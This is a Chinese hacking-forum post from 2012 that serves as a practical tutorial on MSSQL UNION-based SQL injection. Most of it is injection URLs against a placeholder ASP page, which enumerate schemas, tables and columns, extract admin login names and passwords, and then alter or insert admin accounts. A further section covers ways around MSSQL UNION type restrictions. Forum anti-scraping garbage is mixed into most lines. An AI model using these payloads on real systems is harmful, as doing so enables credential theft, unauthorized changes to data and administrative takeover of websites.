找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1780|回复: 0
打印 上一主题 下一主题

MSSQL用union查询爆数据

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:26:06 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
爆库:
: S% r" S" E4 Q5 E1 mhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--
1 W6 y7 L' D) y1 Z2 C+ \6 a% D/ YSELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.* X2 @, S) l1 ^8 K- m0 W
爆下一个库:
1 J6 b# {& ?3 @( f. a, R6 jhttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--* g6 M+ i' Z2 u8 g- E/ K

: N5 _6 w; l7 G' Q爆表:. M8 ~2 R9 ^; k$ F3 i! G
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
8 Y  a4 v2 ^- `* |9 a6 g& @4 ~& ?4 Z4 B
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES." s5 S4 ~+ F# ^4 ]! O& b2 e6 F

# e+ E# l! K( v  \+ ?0 C. j, {爆下一个表
" ?5 `5 G8 ^* `http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
0 Y( W* S$ v$ p% q
) p2 N4 V: @7 S: O* Dhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--& P  t% H' U8 `+ d* D) `

- i+ S2 q: i% c2 [
. N4 s4 ?; J8 J7 ~1 I! t; S  v% U5 ~8 R. n
爆字段:
" [6 A: [" s/ khttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--% u! E  @1 v! U
* _) X7 c% L  z% l) o3 \8 z' D1 e
爆下一个字段
; q6 I5 H$ J! {/ ~7 |% |9 p( T( D3 Khttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--5 l2 |& {" [1 C- _! m+ y% C+ g
1 \' |/ J; g' O9 o
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
1 p9 N& ]/ H8 |3 ~  m
& G- f' s4 N  p& J  W, X9 y  u8 ^
0 c0 E! C0 [, `8 v爆字段里的内容" Y* K; u+ B2 j  v
http://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
2 f1 e% o# o! _( T; x4 T/ o' o7 g/ Z7 x* L0 m
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
5 p9 Y# T4 f. @. o; f6 K8 r. P- M
http://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
4 a  \! ^$ f6 E8 W- F
! _7 p: @( c2 ]http://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--; N4 x% Y2 B: k7 {9 g
0 Y5 }9 J! f: X' n& L& r
更新字段里的内容
" m% V/ j7 E+ H* yhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--
3 G# c4 C) _: C) c1 g
4 q# S) I1 g" g  K5 R. k) [- rhttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--
; E6 j; s! |. H( |3 ]  r6 F- ~
' y* I$ M/ V3 R  p5 W0 V: O& e% r% c: E! a+ d+ ^$ ~6 ]

, d) C* I$ T4 ^1 H# H  x: `        在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。4 q' a+ R  l6 M) a! L( m; B' p# i
    第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。
7 @+ @) o9 a; c$ J+ k    第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
4 n  X! u0 ~8 E; }. S* ^7 K  I    最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
/ n* k* U0 c' N6 M8 G8 i
, Q' A1 S+ }8 _, e突了了大部份限制的语句
! U4 Y! p3 [% v) I7 O2 h* sand 1=2 union all select char(49),char(50),null,null;--2 B6 P2 l5 T& }7 e4 b  I* [

$ i1 z' c8 z+ f0 w5 n. d7 x
$ }% R& `& H" [null也可以正常执行,不过没有回显,不好判断回显的列数。
0 R# E" T' A  a1 s: e* m7 |一般union遇到问题都是有text或者ntext字段,image的很少遇到
0 N7 O6 o  X- Z) f  u2 N1 d  t1 G# k
可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
% P/ j! v% M: m  v
. |- q; `7 v; C# e" J% U1 z: b1 `5 ^( H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表